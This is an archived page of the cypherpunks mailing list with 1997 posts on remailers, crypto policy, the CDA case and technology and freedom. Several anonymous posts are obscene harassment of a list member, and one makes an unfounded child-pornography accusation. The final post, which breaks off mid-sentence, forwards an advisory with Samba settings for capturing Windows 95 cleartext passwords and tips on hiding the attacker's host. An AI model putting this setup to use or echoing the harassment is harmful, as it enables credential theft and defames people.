December 2003 - cypherpunks-legacy

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17 Dec '03

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Diffie-Hellman
by lucifer＠dhp.com 17 Dec '03

17 Dec '03

Warning: if you fuck Timmy C[unt] May in the ass, a rabid tapeworm might bite your penis. ,,, ($ $) -ooO-(_)-Ooo- Timmy C[unt] May

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No Subject
by darthvdr＠fascination.com 17 Dec '03

17 Dec '03

l3T m3 0n +h3 l12+!! The time to think about the world is now! I am by far not even close to an environmentalist. In fact I hate those types but they do have one point . . . pollution! Pollution in corporate America is what kill more men than AIDS. You have to slow this. You are the outraged youth and YOU are the Future! Get your head out of your ass and learn all you can. We cannot fight the genocide that is happening in our world if we cannot prove it is going on. Search and you will find these evils. The information generation is here, without it all of man kind could die by the year 2050. I may not be here to suffer the agonizing death that awaits but guess what . . . you will. We can only save this world by connecting and spreading the word. Corporations are prepared to exterminate us all and retire to their own little world. They fed us all with lies about how they are concerned but in reality they are planning for it. They are stashing food and supplies all over the world for their own version of doomsday. The big businesses will build an empire of technology around you and slowly kill you. They will have the world to them selves at no means. With you dieing in the streets of a toxic overload they will sit back in their hideaways enjoying the rest of their lives! You can stop them and only you. Expose their secrets. Find the proof we need to wipe them out for good! Or you all will die in their dream world! What I am shooting to you in so many words is that the world needs hackers to find out what is going on behind our backs. I am saying that the masses need to know what the rich ass holes in their little dream world want to do with us. How would you like to wake up one morning and everyone in the world is dead? This is what hackers need to stop. We the people of the world need to stop all of this shit! Technology is a force witch the United States Totalitarian government must deal with. Everyone exposes the truths they hide from the people who live here! No longer can a police officer kill a man in cold blood and pretend that it never happened. The age of computers and mass media expose the hard core facts of the governments' brutal murders and deadly tempers. So what has happened to this world which they control us and beat us into their beliefs? The truth is that we have discovered "Big Brothers" little tricks! We are the truth of tomorrow! We see what the fascists of American government do when they plan to kill those who appose them. People like you and me tell those who will expose these truths to the citizens of our country. We serve our prison time for exposing these truths but hell. There is not even as many of them to kill us all as we are the world. Please understand that there is much in this world you do not yet know, the murders that have happened and the killing that will come. The time to think about this is now! You are sitting at a cross roads of life with the age of world freedom at your finger tips. What are you going to do about it? Learn about the world around you! Peep into their private little lives! I am not afraid of them, they must frame me for any thing they could ever arrest me for! They are stupid that way, but you can take the knowledge that you see and stop the killing! You can support the abolishment of the forming of the New World Order! Simply use your knowledge to see what is up! Expose this information to whoever can use it. Let everyone in the world know what is going on. People in our government hate us. Have you ever asked your self why? I will tell you why our government hates you. The truth is that you are young and smarter at twenty and twenty-one then they will ever be. You know information that they were hidden from. Are you tired of being called the problem with the world? Clinton calls us the problem, The Republicans all call us the problem, Dole called us "the only problem" WHY? We are smarter then them! That is all they are complaining about! I mean they are afraid of us all. They increase the fear of technology every day by printing evil headlines about "invasion of privacy" and thefts! These stories are mostly fiction! The real hackers do not care about the private sector . . . well they do but not to "steal" from them. The truth in it all is that anarchist computer users are only interested in information. Public people do not have this information and there for are not in danger! That is what we all need to explain to everyone. That is what all of the world should know. So why do people fear us? It is big business that is afraid. They have secrets that the people of the world CANNOT know! They are evil in so many ways it makes people sick. We expose these secrets! That is why they fear us! The corporations of the world do not want people to be free. They want you all to be stupid and to live in fear. They distort the truth of reality. Big businesses are trying to rule the world and fear us of exposing that! They create propaganda against us, and lie about us to the public. They have us arrested and thrown in jail for exposing their secrets to the world. However, together we can all stop them! To organize and inform these evils. To break down these lies and start a world of passing truths! You have never seen the world behind what these corporations show you. Do you want to? The truth is that this is the ugliest world in any ones' mind. All you have to do is look for it. When you see the ugliness then you must show it around. Give a glimpse of this evil to everyone in the world. Collapse what is wrong and there will be the entire earth to thank you for their lives.

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No Subject
by Mix 17 Dec '03

17 Dec '03

Timmy C[retin] Mayo's obsessive masturbation has lead to advanced degree of blindness and hairy palms. __MMM__ (o o) -ooO---(=)---Ooo- Timmy C[retin] Mayo

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No Subject
by Mix 17 Dec '03

17 Dec '03

Embedded in Timmy C. May's babblings are preposterous lies, wild distortions, child pornography (both as graphic descriptions and in JPEG format), ethnic slurs, and racial epithets. /o)\ Timmy C. May \(o/

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MIR_ror
by John Young 17 Dec '03

17 Dec '03

3-17-97: NYP reports on "white-hat" hackers who work for IBM and the like, breaking into corporate systems, testing insecurity "It's hard to find good people in this field who do not have criminal records." Like the NatSec gang -- Shimomuras using secret tech to chase Mitnicks for the king's coin, praying the infowar smoke and mirrors never end, hoping they're on the winning side of the looking glass. ----- MIR_ror

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List of reliable remailers
by Raph Levien 17 Dec '03

17 Dec '03

I operate a remailer pinging service which collects detailed information about remailer features and reliability. To use it, just finger remailer-list(a)kiwi.cs.berkeley.edu There is also a Web version of the same information, plus lots of interesting links to remailer-related resources, at: http://www.cs.berkeley.edu/~raph/remailer-list.html This information is used by premail, a remailer chaining and PGP encrypting client for outgoing mail. For more information, see: http://www.c2.org/~raph/premail.html For the PGP public keys of the remailers, finger pgpkeys(a)kiwi.cs.berkeley.edu This is the current info: REMAILER LIST This is an automatically generated listing of remailers. The first part of the listing shows the remailers along with configuration options and special features for each of the remailers. The second part shows the 12-day history, and average latency and uptime for each remailer. You can also get this list by fingering remailer-list(a)kiwi.cs.berkeley.edu. $remailer{"extropia"} = "<remail(a)miron.vip.best.com> cpunk pgp special"; $remailer{"mix"} = "<mixmaster(a)remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?"; $remailer{"replay"} = "<remailer(a)replay.com> cpunk mix pgp hash latent cut post ek"; $remailer{"exon"} = "<remailer(a)remailer.nl.com> cpunk pgp hash latent cut ek"; $remailer{"haystack"} = "<haystack(a)holy.cow.net> cpunk mix pgp hash latent cut ek"; $remailer{"lucifer"} = "<lucifer(a)dhp.com> cpunk mix pgp hash latent cut ek"; $remailer{"jam"} = "<remailer(a)cypherpunks.ca> cpunk mix pgp hash middle latent cut ek"; $remailer{"winsock"} = "<winsock(a)rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord"; $remailer{'nym'} = '<config(a)nym.alias.net> newnym pgp'; $remailer{"balls"} = "<remailer(a)huge.cajones.com> cpunk pgp hash latent cut ek"; $remailer{"squirrel"} = "<mix(a)squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek"; $remailer{"middle"} = "<middleman(a)jpunix.com> cpunk mix pgp hash latent cut ek reord"; $remailer{'cyber'} = '<alias(a)alias.cyberpass.net> alpha pgp'; $remailer{"dustbin"} = "<dustman(a)athensnet.com> cpunk pgp hash latent cut ek mix reord middle"; $remailer{'weasel'} = '<config(a)weasel.owl.de> newnym pgp'; $remailer{"reno"} = "<middleman(a)cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?"; $remailer{"wazoo"} = "<remailer(a)wazoo.com> cpunk mix pgp hash latent cut ek"; $remailer{"shaman"} = "<remailer(a)lycaeum.org> cpunk pgp hash latent cut ek"; $remailer{"hidden"} = "<remailer(a)hidden.net> cpunk pgp hash latent cut"; catalyst(a)netcom.com is _not_ a remailer. lmccarth(a)ducie.cs.umass.edu is _not_ a remailer. usura(a)replay.com is _not_ a remailer. remailer(a)crynwr.com is _not_ a remailer. There is no remailer at relay.com. Groups of remailers sharing a machine or operator: (cyber mix) (weasel squirrel) The alpha and nymrod nymservers are down due to abuse. However, you can use the nym or weasel (newnym style) nymservers. The cyber nymserver is quite reliable for outgoing mail (which is what's measured here), but is exhibiting serious reliability problems for incoming mail. The squirrel and winsock remailers accept PGP encrypted mail only. 403 Permission denied errors have been caused by a flaky disk on the Berkeley WWW server. This seems to be fixed now. The penet remailer is closed. Last update: Mon 17 Mar 97 6:49:18 PST remailer email address history latency uptime ----------------------------------------------------------------------- hidden remailer(a)hidden.net #+##-+*##### 7:24 99.99% nym config(a)nym.alias.net +*-+--+--### 1:19:28 99.97% middle middleman(a)jpunix.com -----+++-+* 52:00 99.86% balls remailer(a)huge.cajones.com ####+*# #### 9:36 99.78% dustbin dustman(a)athensnet.com .- --++++.++ 1:08:41 99.74% lucifer lucifer(a)dhp.com +++ +++*+++ 38:51 99.65% shaman remailer(a)lycaeum.org ++***+*+*+* 19:59 99.62% jam remailer(a)cypherpunks.ca *** -**** ** 1:15:27 98.80% winsock winsock(a)rigel.cyberpass.net -- .------- 6:27:37 98.70% cyber alias(a)alias.cyberpass.net ****+**+ - + 1:03:14 98.67% weasel config(a)weasel.owl.de +++..-+++++ 2:41:25 98.61% mix mixmaster(a)remail.obscura.com __ _ -_ 124:55:44 98.41% exon remailer(a)remailer.nl.com # #*#* ## 1:07:00 98.32% extropia remail(a)miron.vip.best.com -.--.-.-_. 21:02:43 98.12% squirrel mix(a)squirrel.owl.de _ . ++++++ 11:12:16 93.46% reno middleman(a)cyberpass.net .* -* * - 1:06:39 92.46% haystack haystack(a)holy.cow.net ### ## + 1:04:07 90.89% replay remailer(a)replay.com +**--+-+* 38:44 75.55% History key * # response in less than 5 minutes. * * response in less than 1 hour. * + response in less than 4 hours. * - response in less than 24 hours. * . response in more than 1 day. * _ response came back too late (more than 2 days). cpunk A major class of remailers. Supports Request-Remailing-To: field. eric A variant of the cpunk style. Uses Anon-Send-To: instead. penet The third class of remailers (at least for right now). Uses X-Anon-To: in the header. pgp Remailer supports encryption with PGP. A period after the keyword means that the short name, rather than the full email address, should be used as the encryption key ID. hash Supports ## pasting, so anything can be put into the headers of outgoing messages. ksub Remailer always kills subject header, even in non-pgp mode. nsub Remailer always preserves subject header, even in pgp mode. latent Supports Matt Ghio's Latent-Time: option. cut Supports Matt Ghio's Cutmarks: option. post Post to Usenet using Post-To: or Anon-Post-To: header. ek Encrypt responses in reply blocks using Encrypt-Key: header. special Accepts only pgp encrypted messages. mix Can accept messages in Mixmaster format. reord Attempts to foil traffic analysis by reordering messages. Note: I'm relying on the word of the remailer operator here, and haven't verified the reord info myself. mon Remailer has been known to monitor contents of private email. filter Remailer has been known to filter messages based on content. If not listed in conjunction with mon, then only messages destined for public forums are subject to filtering. Raph Levien

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Crypto and Wassenaar Meeting
by John Young 17 Dec '03

17 Dec '03

DEPARTMENT OF COMMERCE Transportation and Related Equipment Technical Advisory Committee; Partially Closed Meeting A meeting of the Transportation and Related Equipment Technical Advisory Committee will be held March 18, 1997, 9 a.m., in the Herbert C. Hoover Building, Room 1617M(2), 14th Street between Constitution & Pennsylvania Avenues, NW., Washington, DC. The Committee advises the Office of the Assistant Secretary for Export Administration with respect to technical questions that affect the level of export controls applicable to transportation and related equipment or technology. General Session 1. Opening remarks by the Chairman. 2. Presentation of public papers or comments. 3. Report on the status of the Wassenaar Arrangement: implementation, List Review schedule, and reporting status. 4. Report on the status of the encryption regulations. 5. Update on the Missile Technology Control Regime. 6. Discussion of commercial communications satellite and ``hot section'' technology regulations, in particular the status of the fuels issue. Closed Session 7. Discussion of matters properly classified under Executive Order 12958, dealing with the U.S. export control program and strategic criteria related thereto. The General Session of the meeting will be open to the public and a limited number of seats will be available. To the extent time permits, members of the public may present oral statements to the Committee. Written statements may be submitted at any time before or after the meeting.

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Data Fellows and Nokia Secure Wireless Corporate Intranet Access
by Ari Hypponen 17 Dec '03

17 Dec '03

March 17, 1997 Data Fellows and Nokia Secure Wireless Corporate Intranet Access - Improved security enables GSM operators to connect Intranets (Hannover, March 17, 1997) Data Fellows and Nokia Telecommunications have signed an agreement to integrate Data Fellows' award winning F-Secure VPN encryption software into Nokia's Artus wireless data networking solutions. The Nokia Artus solution enables GSM operators to offer secure corporate Intranet solutions, without the requirement of using costly leased lines to reach their corporate customers. "Weakness of remote access security has discouraged remote access to corporate networks. In partnership with Data Fellows we can now provide GSM operators with an IP networking solution which meets the strict security requirements of corporate IT managers. This means new business for GSM networks," said Petri Pöyhönen, Vice President, Wireless Data Server Systems at Nokia Telecommunications. "Intranet remote access outsourced to GSM operators represents an important market restructuring. In the context of Nokia's Artus Managed Internet Access Point (IAP) networking solution, we can see immediate potential of leveraging our encryption technology already widely used for LAN interconnect," said Risto Siilasmaa, Managing Director at Data Fellows. Data Fellows' F-Secure VPN encrypts and compresses TCP/IP packets transmitted over public data networks to private corporate networks. Military-strength cryptographic security of F-Secure VPN prevents malicious access to the transferred information. Encryption is implemented at transport layer and is thus transparent for applications. A major business potential for wireless operators is to further extend corporate Intranets to the world of wireless coverage. This enables businesses to increase their efficiency by ensuring their staff secure, wireless connectivity to their e-mail, groupware and corporate database resources. Remote access to corporate data resources has been traditionally implemented in corporate premises with dial-in modems. Corporate IT can now outsource this costly telecom access technology to GSM operators and operate in a clean IP protocol environment. Remote access becomes as simple as LAN interconnect. In the interest of future market compatibility, Data Fellows and Nokia are both committed to following the emerging open IP security standards. Data Fellows is a software development company with offices in San Jose, California, and Helsinki, Finland. Data Fellows is a technology leader in its major business areas of anti-virus, data security and cryptography software. F-secure products have won several awards over the past several months. These have included the HOT Product 1997 Award from Data Communication magazine, Best New Networking Product from LAN Magazine and the Grand Award in the European IT Prize competition. Data Fellows is privately held. Annual growth in net sales has been over 100% since the company was founded in 1988. Nokia is a Finland-based telecommunications group with a net sales of USD 8.5 billion in 1996. Nokia has approximately 31,000 employees world-wide. Nokia is one of the two largest GSM/DCS suppliers in the world and the leader in wireless data solutions. Nokia Telecommunications' Information Networking Systems division develops, implements, and markets systems based on Internet technologies to telecommunications operators. For more information, please contact: Mr. Jukka Kotovirta, Data Fellows Ltd. Tel. int. +358 40 588 3933, e-mail: jukka.kotovirta(a)datafellows.com Mr. Heikki Koskinen, Nokia Telecommunications Tel. int. +358 40 502 7967, e-mail: heikki.koskinen(a)ntc.nokia.com Ms. Arja Suominen, Nokia Telecommunications Tel. int. +358 9 511 38193, e-mail: arja.suominen(a)ntc.nokia.com Internet: http://www.datafellows.com/ http://ntc.nokia.com/ -- Ari.Hypponen(a)DataFellows.com, World-Wide Web http://www.DataFellows.com

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Internet Tax Freedom Act
by John Young 17 Dec '03

17 Dec '03

The Internet Tax Freedom Act Introduced in the Senate March 13, 1997 By Senator Wyden (for himself and Senator Kerry): S. 442. A bill to establish a national policy against State and local government interference with interstate commerce on the Internet or interactive computer services, and to exercise Congressional jurisdiction over interstate commerce by establishing a moratorium on the imposition of exactions that would interfere with the free flow of commerce via the Internet, and for other purposes; to the Committee on Commerce, Science, and Transportation. See bill, Wyden's statements and section-by-section analysis at: http://jya.com/s442.htm

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No Subject
by Mix 17 Dec '03

17 Dec '03

Timmy May's IQ is lower than the belly of a pregnant snake. /\**/\ ( o_o )_) Timmy May ,(u u ,), {}{}{}{}{}{}

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Musings on the NYTimes article on computer security
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

I liked "linux, a shareware program that is the operating system of choice for hackers" and the "wide availability of tools for .. 'fingering'". This reminded me how a couple of years ago I had a long phone conversation with a journalist from the Washington Post who was convinced (by a certain idiot from Usenet) that I'm running a hacker BBS. He kept asking me why its not possible to finger anyone @dm.com. I explained that we're behind a dial-up uucp connection, not tcp/ip - it was like talking to a wall. "Why are you hiding behind this, ahem, ucp? What have you got to hide?" I pointed out that one can't finger anyone @twp.com either - he didn't believe me and promised to check. :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

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EPIC Alert 4.04 (CDA on Trial)
by Dave Banisar 17 Dec '03

17 Dec '03

============================================================= @@@@ @@@@ @@@ @@@@ @ @ @@@@ @@@@ @@@@@ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ @@@ @ @ @@@@@ @ @@@ @@@ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ @ @@@ @@@@ @ @ @@@@ @@@@ @ @ @ ============================================================== Volume 4.04 March 17, 1997 -------------------------------------------------------------- Published by the Electronic Privacy Information Center (EPIC) Washington, D.C. http://www.epic.org/ ** SPECIAL ISSUE: THE CDA ON TRIAL ** ======================================================================= Table of Contents ======================================================================= [1] Reno v. ACLU: The Communications Decency Act on Trial [2] Background on the Litigation [3] EPIC Statement on Supreme Court Argument [4] The CDA and International Censorship [5] EPIC Bookstore: First Amendment Reading [6] Upcoming Conferences and Events ======================================================================= [1] Reno v. ACLU: The Communications Decency Act on Trial ======================================================================= On March 19, the United States Supreme Court will hear oral argument in Reno v. ACLU, the first case to address the issue of free speech in cyberspace. The legal challenge to the Communications Decency Act was initiated by the ACLU, EPIC and other organizations last February. The high court's consideration of the case is likely to produce a landmark constitutional decision, which is expected by July. Immediately following the oral argument, the Reno v. ACLU plaintiffs and lawyers will hold a news conference to offer in-depth analysis and commentary (approximately 11:30 a.m. ET). The event will be cybercast live via RealAudio on the World Wide Web. Links to the cybercast will be available at: http://www.epic.org/cda/ and http://www.aclu.org/issues/cyber/trial/appeal.html ======================================================================= [2] Background on the Litigation ======================================================================= The Communications Decency Act passed Congress last February as part of an omnibus telecommunications reform bill. The CDA makes it a crime, punishable by up to two years in jail and/or a $250,000 fine, for anyone to engage in speech that is "indecent" or "patently offensive" on computer networks if the speech can be accessed or viewed by a minor. The American Civil Liberties Union, joined by EPIC and 18 other plaintiffs, filed its legal challenge to the Act on February 8, 1996, the day it was signed into law by President Clinton. Several weeks later, a second challenge was filed by nearly 30 plaintiffs, led by the American Library Association. That suit, known as ALA v. DOJ, was subsequently consolidated with the ACLU case. Although the two cases are consolidated and the legal teams have worked together, each plaintiff group has filed separate briefs throughout the litigation. A three-judge panel in Philadelphia was appointed to hear the plaintiffs' motion for preliminary injunction, and five days of hearings were scheduled during March and April of last year. The panel consisted of Chief Judge Dolores K. Sloviter, Judge Stewart Dalzell, and Judge Ronald L. Buckwalter. The proceedings included five days of live testimony, written testimony, documentary evidence, and detailed stipulations about the nature of the Internet. On June 12, the court issued a preliminary injunction barring the government from enforcing the challenged provisions of the CDA. The opinion makes clear that the lower court agreed with the plaintiffs' view that the CDA's ill-conceived effort to censor speech in the unique medium of cyberspace violates the First Amendment. On December 6, the Supreme Court noted probable jurisdiction in the government's appeal of the lower court decision. The government filed its brief on January 21; the plaintiffs' briefs were filed on February 20. Eleven amicus ("friend of the court") briefs were also filed in support of the plaintiffs (several of which are available online). The government filed its reply brief on March 7. The Supreme Court will hear oral arguments for one hour, with the time divided equally between the two sides. Plaintiffs will be represented by Bruce J. Ennis; the government by Seth Waxman of the Solicitor General's office. ================================================================== [3] EPIC Statement on Supreme Court Argument ================================================================== Supreme Court Internet Decision Will Have a Profound Impact on Individual Privacy Rights March 19, 1997 Washington, DC Contact: David Sobel, EPIC Legal Counsel 202/544-9240 http://www.epic.org/cda/ The U.S. Supreme Court's consideration of Reno v. ACLU sets the stage for a decision of historic significance, one that will establish a constitutional framework for reviewing government regulation of the Internet. The issues extend beyond the Communications Decency Act and go to the very essence of the information infrastructure. The Electronic Privacy Information Center (EPIC) has consistently stressed both the free speech and the privacy implications of the case since joining with the American Civil Liberties Union in challenging this ill-advised and unconstitutional attempt to impose governmental content regulation on emerging global electronic media. EPIC is participating in the litigation as both plaintiff and co-counsel. As the three-judge panel in Philadelphia recognized, the legislation's vague "indecency" standard will have an obvious impact upon the free speech rights of millions of Americans who use computer networks to receive and distribute information. Less apparent is the assault on privacy rights that the legislation, if upheld, will engender. To avoid potential criminal liability under the CDA's "indecency" provision, information providers would, in effect, be required to verify the identities and ages of all recipients of material that might be deemed inappropriate for children. If upheld, the statutory regime would thus result in the creation of "registration records" for tens of thousands of Internet sites, containing detailed descriptions of information accessed by particular recipients. These records would be accessible to law enforcement agencies and prosecutors investigating alleged violations of the statute. Such a regime would constitute a gross violation of Americans' rights to access information privately and anonymously. Two years ago, the Supreme Court upheld the right to anonymous speech in McIntyre v. Ohio Elections Commission. EPIC believes that the Court's rationale in that case applies with even greater force to the Internet "indecency" provisions now under review. The Court noted in McIntyre that The decision in favor of anonymity may be motivated by fear of economic or official retaliation, by concern about social ostracism, or merely by a desire to preserve as much of one's privacy as possible. ... Anonymity is a shield from the tyranny of the majority. It thus exemplifies the purpose behind the Bill of Rights, and of the First Amendment in particular: to protect unpopular individuals from retaliation -- and their ideas from suppression -- at the hand of an intolerant society. Whether the millions of individuals visiting sites on the Internet are seeking information on teenage pregnancy, AIDS and other sexually transmitted diseases, classic works of literature or avant-garde poetry, they enjoy a Constitutional right to do so privately and anonymously. The Communications Decency Act seeks to destroy that right. If upheld, the CDA would render the Internet not only the most censored communications medium, but also the most heavily monitored. EPIC is confident that upon review of the legislation and its impact upon free speech and privacy rights in emerging electronic media, the Supreme Court will affirm the lower court decision invalidating the CDA as fundamentally at odds with the Constitution. ======================================================================= [4] The CDA and International Censorship ======================================================================= Following the passage of the CDA in the United States, dozens of other countries followed suit and imposed restrictions on Internet content, citing the CDA as justification for their efforts at censorship. In many countries, the legal bans cover a broad range of material, including news services and political discussions. Not surprisingly, Singapore has played a leading role in restricting Net content. According to the U.S. State Department's description of Singaporean law, "access to web pages that undermine public security, national defense, racial and religious harmony, and public morals is banned. In addition, content that tends to bring the Government into hatred or contempt, or that excites disaffection against the Government is forbidden." In China, human rights groups critical of the govern- ment's record are "filtered," as are many U.S. newspapers. With the help of Bay Networks, an American company, China is setting up its own Intranet that will not permit the online distribution of critical material. Arab countries met in Dubai last October to discuss setting up an Arab Intranet where political discussion could be banned. The European Union and the OECD are currently discussing Internet content restrictions. In response to these trends, the Parliamentary Human Rights Foundation recently convened a meeting in Brussels to draft "Open Internet Policy Principles." Among the consensus principles is a strong statement in support of freedom of expression: There should be no regulation of Internet content by government. We understand the fundamental rights of freedom of expression, as embodied in Art. 19 of the Universal Declaration of Human Rights ("Everybody has the right ... to seek, receive and impart information and ideas through any media and regardless of frontiers" ) and in Art. 19(2) of the International Covenant on Civil and Political Rights ("Everyone shall have the right to freedom of expression; this right shall include freedom to seek, receive and impart information and ideas of all kinds, regardless of frontiers, either orally, in writing or in print, in the form or art or through any other media of his choice") -- to apply with full force to Internet communication. The full text of the Open Internet Policy Principles is available at: http://www.phrf.org/conference Free speech and human rights advocates from around the world have joined together in the Global Internet Liberty Campaign to fight these restrictions. Members include EPIC, ACLU, Human Rights Watch, and groups from around the world. More information on GILC is available at: http://www.gilc.org Other information on international censorship efforts is available from the Fight Censorship list archives at: http://www.eff.org/~declan/global/ ======================================================================= [5] EPIC Bookstore: First Amendment Reading ======================================================================= The EPIC Bookstore offers a wide range of books on civil liberties, privacy, and on-line freedom. With the Communications Decency Act being argued before the Supreme Court this week, we are featuring four titles that look at the history, technology, policy and practice behind the First Amendment: * Make No Law: The Sullivan Case and the First Amendment by Anthony Lewis -- Few cases have done more to shape the First Amendment than this historic decision. * Technologies of Freedom by Ithiel De Sola Pool -- One of the early works on why regulating speech in cyberspace is a bad idea. * Intellectual Freedom Manual by The Office for Intellectual Freedom, American Library Association -- Good advice for protecting freedom in the on-line world. * Censored: The News That Didn't Make the News-And Why: The 1995 Project Censored Yearbook by Carl Jensen -- Sometimes it's the press and not government that keeps important stories under wraps. Here's what the big shots missed in 1995. We also have an extensive collection of other titles on freedom of expression. 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No Subject
by Mix 17 Dec '03

17 Dec '03

Tim Mayflower's family tree goes straight up. All of his ancestors were siblings, to dumb to recognize each other in the dark. o o Tim Mayflower o \_/

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Technology and loss of freedom
by ichudov＠algebra.com 17 Dec '03

17 Dec '03

Hi, I have a thesis that it is the development of technology that has, over the last 100 years, eroded the basis for and appreciation of human freedom. Technology has also done precious little for advancing human freedoms (although cryptography may be an exception). Let's first define freedom as the ability of people to do things without forceful interference from the government. This is an arbitrary definition, but it appears to be useful for the analysis below. First of all, 200 years ago it was very hard for lone people to endanger lives of themselves and many others. For example, the only weapons that were available were single shot and double shot rifles that were very slow to reload. Similarly, people did not have fast moving vehicles and any traffic did not present serious danger for innocent bystanders. Poison gases were not available, and the explosives technology was far less advanced. Even if it was possible to set up a large explosion, limitations in building construction made them useless. "Hard drugs" also became available only in the recent past [please correct me] due to advancements in chemistry and medicine. You can well imagine that airline terrorism could not appear before airlines. No doubt that I only touched upon a very small percentage of newly existent dangers that are created by the technology. At the same time, developments in technology made it easy to spy on and brainwash citizens. TV, which is the ultimate brainwashing machine, came in play only very recently. The wiretapping is new also. It is the remoteness feature of "bugs" that made spying so much cheaper than hiring "stukachi" -- snitches. If you ride a horse, there is no perceived need for an airbag or a mandatory horse insurance. If all houses are 1 story tall, nobody is afraid of an OK City type explosion. With the advent of technology, the balance of perceived social needs and government capabilities shifted radically, and it shifted away from the great freedoms of the past. The public perception of freedom now is that freedom is inherently dangerous and is a threat to the public itself. Is that an evil CoNspiRaCY of purebred sovoks and Zion agents or it is a natural consequence of inventions that dramatically changed the place of the man in the world? I am not sure. - Igor.

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RE: Technology and loss of freedom
by Blanc Weber 17 Dec '03

17 Dec '03

From: ichudov(a)algebra.com With the advent of technology, the balance of perceived social needs and government capabilities shifted radically, and it shifted away from the great freedoms of the past. The public perception of freedom now is that freedom is inherently dangerous and is a threat to the public itself. ............................................................ The more advanced the technological creations become, the more potential there is for disaster - in larger measure and in greater speed - and therefore the greater need there is for preparation to deal with the new toys and the consequences when things go wrong. This needed preparation includes the time required for developing concepts regarding our human nature and our place in the artificial "man-made" world, about "who is in control around here" - us or the machines - and what purposes - or whose purposes - the machines serve. But then there's always a confusion and many battles over who will serve whose purposes, not only in regard of machines, but of governments and societies. Technology doesn't communicate automatically any particular message. Anyone can interpret its existence in any way it pleases them to interpret it. If those who use these toys and tools every day do not stop to identify what they are doing, and why, and who is making the decisions in their life; if they don't make conscious choices about their activities and the means they use to accomplish these, it is not the technology which is to blame for the humans' default on thinking. .. Blanc

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No Subject
by Gordon 17 Dec '03

17 Dec '03

I need your help with PGP, I don't get any reply from the remailers can you help?

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ORGANIZED CRIME AND TECHNOLOGY TRENDS
by Toto 17 Dec '03

17 Dec '03

> From: denning(a)cs.georgetown.edu (Dorothy Denning) > Subject: ORGANIZED CRIME AND TECHNOLOGY TRENDS > > We are in the process of writing a report on the impact of technology > and encryption on domestic and international organized crime. The > results will be presented to the Working Group on Organized Crime of the > National Strategy Information Center in Washington, DC on April 29. > Even if you have not encountered encryption, we > are interested in your views on how it will be exploited by organized > crime and ultimately affect our ability to fight global organized crime. I don't think that there is any need for you to fish for imaginary scenarios involving organized crime and encryption as there is more than enough hard evidence of these crimes being comitted by governments around the world. The ultimate form of encryption, for example, is the use of the Top Secret / National Security scam to limit the criminal actions of the government to being viewed only by those who are taking an active part in the crimes against the citizens and the subverting of personal privacy and freedom. Another particularly criminal form of encryption is the corruption of the truth by disinformation campaigns and deceitful scare tactics which government agencies use to disguise the true nature of their freedom-limiting legislation and regulations. I could go on and on, but I seriously doubt that you want to hear about it. I am certain that you are making a great amount of money in your efforts to lower the Jackboots on the citizens of the world by claiming that their freedom and privacy must be taken from them in order to protect them. I hope that you get filthy rich, the key word here being 'filthy'. It amazes me that someone would self-righteously proclaim that I need protection from drug-dealers who are not passing legislation forcing me to use their products, and claim that their efforts to pass legislation to imprison me for exercising my right to privacy are some holy crusade. I hope that your sorry, Nazi asses burn in Hell for the vile, fascist legislation that you and your kind are attempting to foist upon the public. Perhaps you could suggest 'trial' legislation which only denies strong cryptography to Jews, intitially. Then, if your efforts to round them all up and send them to the death camps are successful, you could point to this success as reason to expand the legislation. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html

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[LONG] Windows Security (was Re: SecureFile)
by Jeremey Barrett 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- I forward this because of the discussion of SecureFile and M$ CryptoAPI, which relies on the security of the windows password to protect keys. Fun... - ------------- Begin forwarded message Subject: BoS: http://www.security.org.il/msnetbreak/ Resent-Date: Tue, 18 Mar 1997 16:41:20 +1100 (EST) Resent-From: best-of-security(a)suburbia.net Date: Mon, 17 Mar 1997 21:14:02 -0600 From: leph One <aleph1(a)DFW.NET> To: best-of-security(a)suburbia.net WINDOWS 95 AND MSIE SECURITY HOLE What's new It is possible from anywhere on the Internet to obtain the cleartext Windows 95 login password from a Windows 95 computer on a network connected directly to the Internet given only the IP address and the workgroup and leave no trace of your actions. It is untested and may work with Windows For Workgroups as well. Description There has been recent discussion on security mailing lists concerning the fact that Microsoft Internet Explorer running on Windows NT will automatically try to log in to a remote SMB server (file server) without prompting the user or without the user's knowledge. By design, the NT machine will transmit to this remote server the encrypted password and username of the user. This is documented by Aaron Spangler. The caveats with this are that the passwords are encrypted and that in many cases people do not use WWW browsers from NT servers, but rather from computers running Windows 95. It has been explained that this same exploit does not work against Windows 95 because Windows 95 is only capable of accessing SMB shares (file sharing) if they are: * Connected to the same subnet. * In the Windows 95 computer's LMHOSTS file on startup * Announced to the Windows 95 computer by a Master Browser It is this third and final condition that can be taken advantage of to obtain the cleartext password and username of any Windows 95 user who uses Microsoft Internet Explorer. Even careless use of Microsoft Network Neighborhood can exploit this hole without the requirement for Internet Explorer The requirements are knowledge of the user's IP address, workgroup name and that they access a hostile web page. The first two are not difficult to obtain and the third does not have to be an obscure page. In the last 6 months sites such as the CIA have been broken into. All it would require is that one un-noticeable line be added to the home page. Since the viewable content of the page has not been altered, such a change can go unnoticed for a long time. The Exploit This involves the use of the Unix SMB implementation called Samba. There are no source changes required, but it should be compiled with -DDEBUG_PASSWORD. Samba has an option in the smb.cfg file called remote announce. This allows you to specify a network address (host or broadcast) and workgroup name to inform about your existence. I have configured the [global] section of the smb.conf file like this: workgroup = EXPLOIT preferred master = yes domain master = yes security = user debug level = 100 remote announce = 10.0.0.255/WORKGROUP The only thing that must be changed is the remote announce line. The rest works as-is. A simple share must then be set up such as: [exploit] path = /tmp public = no browsable = yes Nothing needs to be in the directory as nobody will ever see it. For the sake of untractability, change your hostname to something that does not exist, but ensure to create an entry for it in /etc/hosts. This makes your host untraceable unless the network you are connecting to monitors network traffic. Run smbd. If you are running it from inetd, the process must at least start itself in order to send the broadcast. Using smbclient to browse yourself is enough for this. The broadcast gets sent regardless of what smbd was started for. At this point if anyone on the target network were to look at their Windows 95 Network Neighborhood they would see the host "EXPLOIT". The host is now vulnerable to your attack. While this step may seem a bit 